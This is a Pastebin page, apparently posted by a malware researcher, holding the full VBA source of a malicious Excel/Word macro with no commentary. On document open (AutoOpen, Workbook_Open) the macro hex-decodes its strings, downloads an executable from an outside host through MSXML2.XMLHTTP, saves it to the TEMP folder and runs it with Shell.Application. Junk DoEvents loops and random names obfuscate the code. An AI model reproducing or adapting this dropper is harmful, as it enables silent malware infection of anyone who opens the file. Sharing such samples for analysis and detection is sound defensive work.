Advertisement
dynamoo

Malicious Excel macro

Jan 19th, 2015
476
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. Sub uiwefds()
  10. Dim oYoglGYg As Integer
  11. For oYoglGYg = 0 To 7
  12. Dim PwYchYpl As Integer
  13. For PwYchYpl = 0 To 3
  14. DoEvents
  15. Next PwYchYpl
  16. DoEvents
  17. Next oYoglGYg
  18. Dim NDClCYxB As Integer
  19. For NDClCYxB = 0 To 5
  20. DoEvents
  21. Next NDClCYxB
  22. GHJksdfsd
  23. End Sub
  24. Sub AutoOpen()
  25. Dim BUJpNGVs As Integer
  26. For BUJpNGVs = 0 To 2
  27. Dim ojePHgOn As Integer
  28. For ojePHgOn = 0 To 4
  29. DoEvents
  30. Next ojePHgOn
  31. DoEvents
  32. Next BUJpNGVs
  33. Dim arGnmRUr As Integer
  34. For arGnmRUr = 0 To 2
  35. DoEvents
  36. Next arGnmRUr
  37.     uiwefds
  38. End Sub
  39. Sub Workbook_Open()
  40. Dim tIQONlRl As Integer
  41. For tIQONlRl = 0 To 9
  42. Dim DlcKhaLG As Integer
  43. For DlcKhaLG = 0 To 6
  44. DoEvents
  45. Next DlcKhaLG
  46. DoEvents
  47. Next tIQONlRl
  48. Dim Dqjehtla As Integer
  49. For Dqjehtla = 0 To 3
  50. DoEvents
  51. Next Dqjehtla
  52.     uiwefds
  53. End Sub
  54. Function SaveWebFile(ByVal vWebFile As String, ByVal fgHBjsdfsdf As String) As Boolean
  55.     Dim AUjVIjFE As Object, i As Long, vFF As Long, oResp() As Byte
  56. Dim MKwDfrWa As Integer
  57. For MKwDfrWa = 0 To 7
  58. Dim AnEJnNux As Integer
  59. For AnEJnNux = 0 To 4
  60. DoEvents
  61. Next AnEJnNux
  62. DoEvents
  63. Next MKwDfrWa
  64. Dim VXgWAtjh As Integer
  65. For VXgWAtjh = 0 To 8
  66. DoEvents
  67. Next VXgWAtjh
  68.      
  69.  
  70. Dim nWmhpOLJ As Integer
  71. For nWmhpOLJ = 0 To 3
  72. Dim TOBHJjkq As Integer
  73. For TOBHJjkq = 0 To 4
  74. DoEvents
  75. Next TOBHJjkq
  76. DoEvents
  77. Next nWmhpOLJ
  78. Dim xfCKaGSU As Integer
  79. For xfCKaGSU = 0 To 3
  80. DoEvents
  81. Next xfCKaGSU
  82.     Set AUjVIjFE = CreateObject(HexToString("4D53584D4C322E584D4C48545450"))
  83.     AUjVIjFE.Open HexToString("474554"), vWebFile, False
  84. Dim cuEdWJEi As Integer
  85. For cuEdWJEi = 0 To 3
  86. Dim hcMcVDAy As Integer
  87. For hcMcVDAy = 0 To 8
  88. DoEvents
  89. Next hcMcVDAy
  90. DoEvents
  91. Next cuEdWJEi
  92. Dim kNlYlYYP As Integer
  93. For kNlYlYYP = 0 To 2
  94. DoEvents
  95. Next kNlYlYYP
  96.     AUjVIjFE.Send
  97. Dim gLIiHklS As Integer
  98. For gLIiHklS = 0 To 7
  99. Dim UHLxoTnO As Integer
  100. For UHLxoTnO = 0 To 8
  101. DoEvents
  102. Next UHLxoTnO
  103. DoEvents
  104. Next gLIiHklS
  105. Dim lOpUCeCz As Integer
  106. For lOpUCeCz = 0 To 5
  107. DoEvents
  108. Next lOpUCeCz
  109.        
  110. Dim vigWOhDJ As Integer
  111. For vigWOhDJ = 0 To 1
  112. Dim gSEWVnBT As Integer
  113. For gSEWVnBT = 0 To 1
  114. DoEvents
  115. Next gSEWVnBT
  116. DoEvents
  117. Next vigWOhDJ
  118. Dim WHvOpdZY As Integer
  119. For WHvOpdZY = 0 To 7
  120. DoEvents
  121. Next WHvOpdZY
  122.     oResp = AUjVIjFE.responseBody
  123. Dim CqPSLUWL As Integer
  124. For CqPSLUWL = 0 To 2
  125. Dim tzgGgSOk As Integer
  126. For tzgGgSOk = 0 To 3
  127. DoEvents
  128. Next tzgGgSOk
  129. DoEvents
  130. Next CqPSLUWL
  131. Dim DIQRntnq As Integer
  132. For DIQRntnq = 0 To 9
  133. DoEvents
  134. Next DIQRntnq
  135.      
  136. Dim mvaENwsz As Integer
  137. For mvaENwsz = 0 To 9
  138. Dim ZJEzoywE As Integer
  139. For ZJEzoywE = 0 To 4
  140. DoEvents
  141. Next ZJEzoywE
  142. DoEvents
  143. Next mvaENwsz
  144. Dim iaNOZsvg As Integer
  145. For iaNOZsvg = 0 To 9
  146. DoEvents
  147. Next iaNOZsvg
  148.     vFF = FreeFile
  149.     Open fgHBjsdfsdf For Binary Access Write As #vFF
  150. Dim DNRdFOSY As Integer
  151. For DNRdFOSY = 0 To 6
  152. Dim lHduYTlx As Integer
  153. For lHduYTlx = 0 To 2
  154. DoEvents
  155. Next lHduYTlx
  156. DoEvents
  157. Next DNRdFOSY
  158. Dim xaxyXJkE As Integer
  159. For xaxyXJkE = 0 To 3
  160. DoEvents
  161. Next xaxyXJkE
  162.     Put #vFF, , oResp
  163. Dim bbpmZDkm As Integer
  164. For bbpmZDkm = 0 To 7
  165. Dim xPdrKQOZ As Integer
  166. For xPdrKQOZ = 0 To 6
  167. DoEvents
  168. Next xPdrKQOZ
  169. DoEvents
  170. Next bbpmZDkm
  171. Dim ASdHxvKS As Integer
  172. For ASdHxvKS = 0 To 7
  173. DoEvents
  174. Next ASdHxvKS
  175.     Close #vFF
  176.  
  177. Dim uhhgqFpN As Integer
  178. For uhhgqFpN = 0 To 3
  179. Dim FbRVvahd As Integer
  180. For FbRVvahd = 0 To 9
  181. DoEvents
  182. Next FbRVvahd
  183. DoEvents
  184. Next uhhgqFpN
  185. Dim kbcDCzXs As Integer
  186. For kbcDCzXs = 0 To 5
  187. DoEvents
  188. Next kbcDCzXs
  189.     Set AUjVIjFE = Nothing
  190.     Dim NgRVvV As Object
  191. Dim oLSYueam As Integer
  192. For oLSYueam = 0 To 4
  193. Dim wEjGWMqW As Integer
  194. For wEjGWMqW = 0 To 8
  195. DoEvents
  196. Next wEjGWMqW
  197. DoEvents
  198. Next oLSYueam
  199. Dim uHhPIfye As Integer
  200. For uHhPIfye = 0 To 6
  201. DoEvents
  202. Next uHhPIfye
  203.     Set NgRVvV = CreateObject(HexToString("5368656C6C2E6170706C69636174696F6E"))
  204. Dim oSEXVckr As Integer
  205. For oSEXVckr = 0 To 9
  206. Dim TuqwgeFr As Integer
  207. For TuqwgeFr = 0 To 2
  208. DoEvents
  209. Next TuqwgeFr
  210. DoEvents
  211. Next oSEXVckr
  212. Dim bSTYjBaq As Integer
  213. For bSTYjBaq = 0 To 3
  214. DoEvents
  215. Next bSTYjBaq
  216.     NgRVvV.ShellExecute Environ(HexToString("54454D50")) & HexToString("5C3332343233343233342E657865")
  217.     End Function
  218. Sub GHJksdfsd()
  219.  
  220. Dim TTlulrHb As Integer
  221. For TTlulrHb = 0 To 4
  222. Dim nzPhlZuA As Integer
  223. For nzPhlZuA = 0 To 3
  224. DoEvents
  225. Next nzPhlZuA
  226. DoEvents
  227. Next TTlulrHb
  228. Dim pKYcyISK As Integer
  229. For pKYcyISK = 0 To 1
  230. DoEvents
  231. Next pKYcyISK
  232.     SaveWebFile HexToString("687474703A2F2F6368696C616E2E63612F6A732F62696E2E657865"), Environ(HexToString("54454D50")) & HexToString("5C3332343233343233342E657865")
  233.  
  234. End Sub
  235.  
  236.  
  237.  
  238. Public Function HexToString(ByVal strData As String) As String
  239.     Dim HrZcwZdroQkJJ As String
  240. Dim jmyReLXI As Integer
  241. For jmyReLXI = 0 To 2
  242. Dim UcaPijwK As Integer
  243. For UcaPijwK = 0 To 5
  244. DoEvents
  245. Next UcaPijwK
  246. DoEvents
  247. Next jmyReLXI
  248. Dim pllpewTD As Integer
  249. For pllpewTD = 0 To 1
  250. DoEvents
  251. Next pllpewTD
  252.     Do Until Len(strData) < 2
  253. Dim TAGfGllS As Integer
  254. For TAGfGllS = 0 To 8
  255. Dim OKpypckB As Integer
  256. For OKpypckB = 0 To 2
  257. DoEvents
  258. Next OKpypckB
  259. DoEvents
  260. Next TAGfGllS
  261. Dim lVsQygKc As Integer
  262. For lVsQygKc = 0 To 8
  263. DoEvents
  264. Next lVsQygKc
  265.         HrZcwZdroQkJJ = HrZcwZdroQkJJ + Chr$(CLng("&H" + Left$(strData, 2)))
  266. Dim DjKVyyaC As Integer
  267. For DjKVyyaC = 0 To 6
  268. Dim Drofnybo As Integer
  269. For Drofnybo = 0 To 3
  270. DoEvents
  271. Next Drofnybo
  272. DoEvents
  273. Next DjKVyyaC
  274. Dim ShVjCMDA As Integer
  275. For ShVjCMDA = 0 To 3
  276. DoEvents
  277. Next ShVjCMDA
  278.         strData = Right$(strData, Len(strData) - 2)
  279. Dim ISBftRjL As Integer
  280. For ISBftRjL = 0 To 8
  281. Dim cluMyKYJ As Integer
  282. For cluMyKYJ = 0 To 3
  283. DoEvents
  284. Next cluMyKYJ
  285. DoEvents
  286. Next ISBftRjL
  287. Dim fUrZEoEs As Integer
  288. For fUrZEoEs = 0 To 5
  289. DoEvents
  290. Next fUrZEoEs
  291.     Loop
  292. Dim zylYcfyu As Integer
  293. For zylYcfyu = 0 To 8
  294. Dim JkXjjQxz As Integer
  295. For JkXjjQxz = 0 To 6
  296. DoEvents
  297. Next JkXjjQxz
  298. DoEvents
  299. Next zylYcfyu
  300. Dim vIqIGDXI As Integer
  301. For vIqIGDXI = 0 To 3
  302. DoEvents
  303. Next vIqIGDXI
  304.     HexToString = HrZcwZdroQkJJ
  305. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement